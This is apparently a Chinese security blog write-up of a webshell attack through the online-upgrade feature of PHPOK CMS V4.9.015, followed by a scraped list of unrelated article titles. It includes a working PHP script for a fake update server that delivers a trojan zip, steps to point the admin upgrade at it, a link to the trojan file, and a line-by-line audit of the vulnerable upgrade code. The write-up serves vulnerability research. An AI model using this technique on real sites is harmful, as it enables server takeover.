i春秋作家:小猪

原文来自:看我是如何利用升级系统一键GetShell

漏洞名称:看我是如何利用升级系统一键GetShell

程序下载地址:https://pan.baidu.com/s/1VdoPLqNP6V6aguodza9uQQ
马子文件下载地址:https://pan.baidu.com/s/1fwDQ7fdiqsv_Azr9Ii89mg提取码:dm8q
版本:V4.9.015
简介:PHPOK企业站系统(以下简称系统或本系统),采用PHP+MYSQL语言开发,是一套成熟完善的企业站CMS系统。本系统函盖功能全面,自定义功能强大,扩展性较好、安全性较高。可以轻松解决大部分企业站需求。

0x01 程序安装到复现

1.第一步安装系统

2.第二步这里要创建数据库,不然他不会自动创建。

3.第三步完成安装,然后我们点击进入后台。

4.第四步进入后台-》程序升级-》升级配置

5.第五步,服务端构建代码,创建`index.php`放在网页根目录

[PHP] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
header("Content-type: text/xml");
if($type == 4){
        $xml = '<?xml version="1.0" encoding="utf-8"?>';
        $xml .= "<info>";
        $xml .= "<status>1</status>";
        $xml .= "<content>";
        $xml .= "<phpok-49032>";
        $xml .= "<phpok-id>49032</phpok-id>";
        $xml .= "<phpok-time>1526457606</phpok-time>";
        $xml .= "<phpok-size>15172</phpok-size>";
        $xml .= "<phpok-type>zip</phpok-type>";
        $xml .= "</phpok-49032>";
        $xml .= "</content>";
        $xml .= "</info>";
        echo $xml;
} else {
        $xml = '<?xml version="1.0" encoding="utf-8"?>';
        $xml .= "<info>";
        $xml .= "<status>1</status>";
        $xml .= "<content>";
        //这里的tmp.zip是代表木马文件
        $xml .= base64_encode(file_get_contents('tmp.zip'));
        $xml .= "</content>";
        $xml .= "</info>";
        echo $xml;
}

6.第六步,后台-》程序升级-》在线升级,我这里改下1999-09-09 09:09:09代表是我服务器的升级软件

7.第七步,我们点击升级,在用D盾监听下目录是否上传成功木马文件。

8.第八步,访问木马文件,看看是否能访问成功

0x02 代码审计

漏洞所在文件:\framework\admin\update_control.php(在后台程序升级)

漏洞文件代码:(只贴上相关代码)

首先我们看第369行,$file = $this->get('file','int');,这里我们看到他这里是接收GET变量中的file值,那么int就是把接收的值转换成int类型。

第370行,if(!$file)判断$file变量是否有赋值,如果没有复制那么就提示一个JSON数据。

第373行,$urlext = 'file='.rawurlencode($file);rawurlencode函数代表空格转换成%20

第374行,$rs = $this->service(5,$urlext);,这里可以看到调用本身文件中的service方法,那我们进入这个方法看看,在文章的第465行。

第465行,if(!file_exists($this->dir_root.'data/update.php'))file_exists函数代表检查文件或目录是否存在。

第470行,$uconfig = array();,申明一个空数组。

第471行,include($this->dir_root.'data/update.php');include函数代表引入一个文件,如果没有找到这个文件只会提示个警告不会终止错误。

第478行,if(file_exists($this->dir_root.'data/update.xml'))file_exists函数代表检查文件或目录是否存在。

第486行,if(substr($url,-1) != '/')substr函数代表字符串切割,并且判断不等于/那么就进入487行区间。

第489行,$url .= 'index.php?version='.rawurlencode(trim($info['version'])).'&time='.$this->time.'&type='.$type;,URL地址拼接,rawurlencode函数代表空格转换成%20trim函数代表移除字符串两侧的空白字符。

第493行,if($type == 1 || $type == 4),判断外部传入的$type是否等于1或者等于4。

第494行,$onlyid = $uconfig['onlyid'] ? $uconfig['onlyid'] : $this->_onlyid();,这里使用了3元运算符。

第495行,$domain = $this->lib('server')->domain($this->config['get_domain_method']);,这里代表是获取当前访问的网址。

第496行,$client_ip = $this->lib('common')->ip();,获取客户端Ip

第497行,$url .= "&domain=".rawurlencode($domain)."&ip=".rawurlencode($client_ip);,URL地址拼接,rawurlencode函数代表空格转换成%20

第498行,$url .= "&onlyid=".$onlyid."&phpversion=".PHP_VERSION;,也是URL地址拼接。

第499行,if(function_exists('php_uname'))function_exists函数代表判断是否有某函数。

第502行,$soft = $_SERVER['SERVER_SOFTWARE'];,获取服务器PHP版本。

第506行,$mysqlversion = $this->db->version('server');,获取服务端mysql版本号。

第511行,$this->lib('html')->setting('timeout',900);,这里是设置CURL请求的超时时间。

第513行,$this->lib('html')->ip($uconfig['ip']);,设置请求IP。

第515行,$info = $this->lib('html')->get_content($url);,请求URL地址,返回XML内容。

下面就是返回XML数据,那么我们回到第一张图片。

第375行,$rs = $this->lib('json')->decode($rs);,这里代表是把接收到的XML内容转换成JSON数据。

第376行,if($rs['status'] != 'ok'),判断$rs['status']不等于ok

第379行,if(!$rs['content']),判断是否为空。

第382行,$info = base64_decode($rs['content']);,把接收到的$rs['content']值,从base64转换成实体。

第383行,file_put_contents($this->dir_root.'data/tmp.zip',$info);,写入当前文件,第一个参数代表路径,第二个参数代表内容。

第384行,$this->lib('phpzip')->unzip($this->dir_root.'data/tmp.zip','data/update/');,我们看到这里的意思就是解压文件到某个目录。

第386行,$this->lib('file')->rm($this->dir_root.'data/tmp.zip');,删除写入的文件。

第386行,$verinfo = substr($file,0,1).".".substr($file,1,1).".".substr($file,2);,这里是字符串切割。

第387行,$info = $this->update_load($verinfo);,这里调用自定义方法,也是在本文章第152行。

第154行,$list = array();,定义一个空数组。

第155行,$this->lib('file')->deep_ls($this->dir_root.'data/update/',$list);,这里大概意思是遍历当前文件所有文件名,这里我就不去找代码,就把代码直接复制出来。

那么代码路径在framework\libs\file.php中第297-313行

    /*** 获取文件夹及子文件夹等多层文件列表(无限级,长度受系统限制)* @参数 $folder 文件夹* @参数 $list 引用变量**/public function deep_ls($folder,&$list)     {             $this->read_count++;             $tmplist = $this->_dir_list($folder);             foreach($tmplist AS $key=>$value){                     if(is_dir($value)){                             $this->deep_ls($value,$list);                     }else{                             $list[] = $value;                     }             }     }

第156行,if(!$list || count($list) < 1),判断$list是否为空,并且判断他的数据是不是小于1。

第159行,$strlen = strlen($this->dir_root."data/update/");strlen代表统计字符串长度。

第162行,foreach($list as $key=>$value)foreach循环遍历数组。

第163行,$value = trim($value);trim代表移除字符串两侧的字符。

第165行,continue;,这里代表跳出循环。

第167行,$tmp = substr($value,$strlen);substr代表字符串切割。

第168行,if($tmp == 'version.txt'),这里判断$tmp是否等于version.txt

第169行,$verinfo = trim(file_get_contents($value));trim代表移除字符串两侧的字符,file_get_contents代表写入文件。

第183行,if(substr($tmp,0,10) == 'framework/')substr代表字符串切割,从0到10切割判断等于framework/

第185行,if(is_file($value))is_file代表判断文件是否存在。

第187行,$this->lib('file')->mv($value,$this->dir_phpok.$tmp1);,剪切文件到某个目录。

第189行,if(is_dir($value) && !is_dir($this->dir_phpok.$tmp1))is_dir代表判断目录是否存在,并且判断临时文件是否不存在。

第190行,$this->lib('file')->make($this->dir_phpok.$tmp1,'folder');,创建目录。

第194行,if(is_file($value) && $tmp != 'table.sql')is_file代表判断文件是否存在,并且判断$tmp不等于table.sql文件的进入区间。

第194行-第210行都是一样,剪切和创建目录。

第205行,$dlist = file($delfile);file代表整个文件读入一个数组中。

第209行,foreach($dlist AS $key=>$value)foreach代表数组循环。

第213行,$value = trim($value);trim代表移除字符串两侧的字符。

第214行,if($value && is_file($this->dir_root.$value)),判断$value是否有值,并且判断文件是否存在。

第215行,$this->lib('file')->rm($this->dir_root.$value);,代表删除文件。

第218行,if($value && is_dir($this->dir_root.$value)),判断$value是否有值,并且判断目录是否存在。

第225行,$this->update_table();这里又看到调用自己的方法。

为何还有那么多代码要分析。

我们接下来继续往下分析,这里的话我就把代码Copy出来,代码太多截图不好看。

我这里挑重要的函数讲解下,这里都是sql执行语句,没有什么可以分析的。

函数:

file_exists,代表检查文件或目录是否存在。

file_get_contents,代表读取文件,如果携带2个参数那么就是写入。

str_replace,代表字符串替换。

strlen,代表查看字符串长度。

substr,代表字符串切割。

unset,代表变量删除。

explode,代表把字符串切割成数组。

trim,代表移除字符串两侧的字符。

    private function update_table()     {             if(!file_exists($this->dir_root.'data/update/table.sql')){                     return false;             }             //创建新表临时             $prefix = 'tmp_'.$this->db->prefix;             $sqlcontent = file_get_contents($this->dir_root.'data/update/table.sql');             $sqlcontent = str_replace('qinggan_',$prefix,$sqlcontent);             $this->sql_run($sqlcontent);             //比较新表结果             $list = $this->db->list_tables();             $tblist = array();             $nlength = strlen($prefix);             $olength = strlen($this->db->prefix);             foreach($list as $key=>$value){                     //跳过扩展表                     $continue_1 = substr($value,0,strlen($prefix.'list_'));                     $continue_2 = substr($value,0,strlen($this->db->prefix.'list_'));                     if($continue_1== $prefix.'list_' ||  $continue_2 == $this->db->prefix."list_"){                             continue;                     }                     if(substr($value,0,$nlength) == $prefix){                             $tblid = substr($value,$nlength);                             $tblist[$tblid]['new'] = $value;                     }                     if(substr($value,0,$olength) == $this->db->prefix){                             $tblid = substr($value,strlen($this->db->prefix));                             $tblist[$tblid]['old'] = $value;                     }             }             foreach($tblist as $key=>$value){                     if(!$value['new']){                             continue;                     }                     if(!$value['old']){                             $sql = "SHOW CREATE TABLE ".$value['new'];                             $rs = $this->db->get_one($sql);                             if(!$rs['Create Table']){                                     continue;                             }                             $rs['Create Table'] = str_replace($prefix,$this->db->prefix,$rs['Create Table']);                             $this->db->query($rs['Create Table']);                             continue;                     }                     //比较新表                     $nlist = $this->db->list_fields_more($value['new']);                     $olist = $this->db->list_fields_more($value['old']);                     foreach($nlist as $k=>$v){                             if($olist[$k] && $olist[$k]['type'] == $v['type']){                                     continue;                             }                             if(!$olist[$k]){                                     $sql = "ALTER TABLE ".$value['old']." ADD `".$k."` ".$v['type']." ";                             }else{                                     $sql = "ALTER TABLE `".$value['old']."` CHANGE `".$k."` `".$k."` ".$v['type']." ";                             }                             if($v['null'] == 'NO'){                                     $sql .= " NOT NULL ";                                     if($v['default'] != ''){                                             $sql .= " DEFAULT ".$v['default']." ";                                     }                             }else{                                     $sql .= " DEFAULT ".($v['default'] != '' ? $v['default'] : ' NULL ')." ";                             }                             if($value['extra']){                                     $sql .= " ".$v['extra']." ";                             }                             if($v['comment']){                                     $sql .= " COMMENT '".$v['comment']."'";                             }                             $this->db->query($sql);                     }                     unset($nlist,$olist);             }             //删除临时表操作             foreach($list as $key=>$value){                     if(substr($value,0,$nlength) == $prefix){                             $sql = "DROP TABLE ".$value;                             $this->db->query($sql);                     }             }             unset($list,$tbllist);             return true;     }     private function sql_run($sql='')     {             $sql = str_replace("\r","\n",$sql);             $ret = array();             $num = 

看我是如何利用升级系统一键GetShell相关推荐

  1. 怎么关闭win7计算机一键还原系统,如何进行win7系统一键还原

    用户电脑用久了,担心中毒崩溃重装系统,那如何进行win7系统一键还原呢?所谓还原就是还原已经备份过的数据,备份了什么数据,就可还原成什么数据.下面跟着学习啦小编一起来学习一下win7系统进行一键还原的 ...

  2. python phpstudy_GitHub - Writeup007/phpStudyBackDoor: phpStudy后门检测与利用工具,Python脚本,可一键 GetShell。...

    phpStudyBackDoor phpStudy后门检测与利用工具,Python脚本,可一键 GetShell. 简述 2019年9月20日,网上传出 phpStudy 软件存在后门,随后作者立即发 ...

  3. 三星q90r如何升级系统_看尚电视强制升级风行系统,如何安装第三方软件?

    最近,看尚电视强制升级系统,不论界面UI还是操作方式都与之前有所不同,就连就简单的下载第三方软件,很多用户表示升级之后处处碰壁,那么今天小编就来和大家讲一下升级之后所遇到的问题,方便大家及时熟悉新系统 ...

  4. 使用linux集体升级系统,1.3. 利用mtd工具升级Linux系统

    1.3. 利用mtd工具升级Linux系统 利用mtd工具升级系统,其实说白了,就是: 用flasherase擦除数据 先用flasherase擦除对应mtd分区中的内容 用nandwrite写入数据 ...

  5. 手机究竟要不要升级系统?总是自动升级该怎么办?看完你就懂了

    手机到底该不该升级?这是很多朋友都会遇到的问题,而且不分安卓与苹果.有些朋友升级后说,手机更流畅功能更多了.而也有朋友表示,手机升级后耗电增加了,而且还变卡了许多.为什么会出现两种截然不同的情况呢?下 ...

  6. 笔记本固态硬盘大容量升级系统迁移(三天时间亲自实践,避坑专用)

    笔记本固态硬盘大容量升级--系统迁移(三天时间亲自实践,避坑专用) 一.需准备的硬件 1.新购置的固态硬盘 2.固态硬盘盒 3.U盘一个内部存储好win10PE*** 二.系统迁移 1.下载DiskG ...

  7. 店长必看:如何利用微信会员管理系统做好店铺营销和管理?

    店长必看:如何利用微信会员管理系统做好店铺营销和管理? 基于微信的10亿用户,很多实体店铺的老板由原来的手记账本换成了电脑表格, 现在又从电脑表格或者电脑端软件,换成了手机端的会员管理系统. 像基于微 ...

  8. 苹果谈iPhone遭CIA攻击:强烈要求用户升级系统

    美国时间3月8日,苹果.谷歌.三星.微软等在内的多家科技公司分别对"维基揭秘"(WikiLeaks)网站披露的美国中央情报局(CIA)利用黑客工具攻击其智能产品一事作出回应. 维基 ...

  9. 没时间看电影追剧,AI 一键让影视变漫画

    点击 机器学习算法与Python学习 ,选择加星标 精彩内容不迷路 如今,电影.电视剧以及各类视频,已经成为我们生活中不可缺少的一部分.据报告,每天上传到 YouTube 的视频总时长,就需要一个人花 ...

最新文章

  1. 会排序吗_洗牌算法详解:你会排序,但你会打乱吗?
  2. Python之路(第九篇)Python文件操作
  3. 公司网络推广教你网站初期SEO优化该如何做?
  4. 2018-2019-1 20165226 《信息安全系统设计基础》第6周学习总结
  5. java--Hibernate添加数据save
  6. 为何出现Error Loading Midas.dll消息?
  7. VTK:Rendering之StripFran
  8. Base64Util 用户名和密码Base64编码Java代码
  9. 在网页中通过百度地图查看某地的经纬度
  10. c# socket接收字符串_php 的 socket简单原理及实现
  11. oracle主机修改IP后客户端无法连接
  12. iBeiKe十周年照片~
  13. php debugdumpparams,PHP PDOStatement::debugDumpParams讲解
  14. SpringBoot 启动报 Stopping service [Tomcat]
  15. 怎样更改计算机ip,怎么快速修改电脑ip地址
  16. 用128行代码实现一个文字冒险游戏
  17. 遥感导论(梅安新版)知识点概括
  18. yolo系列之yolo v3【深度解析】
  19. ES安装中文IK分词器
  20. 移动硬盘装Ubuntu系统小记

热门文章

  1. 软件需求管理用例方法二
  2. spark-submit的参数名称解析
  3. 谁干的mysql无密码登录?
  4. 系统架构师学习笔记_第五章(下)_连载
  5. 用英语优雅地表达愤怒
  6. 《Pro ASP.NET MVC 3 Framework》学习笔记之十六【示例项目SportsStore】
  7. 策略路由实验,指定出口
  8. js实现图片轮播(终结版)
  9. JS面向对象高级特性
  10. apache本地配置多域名(wampserver本地配置多域名)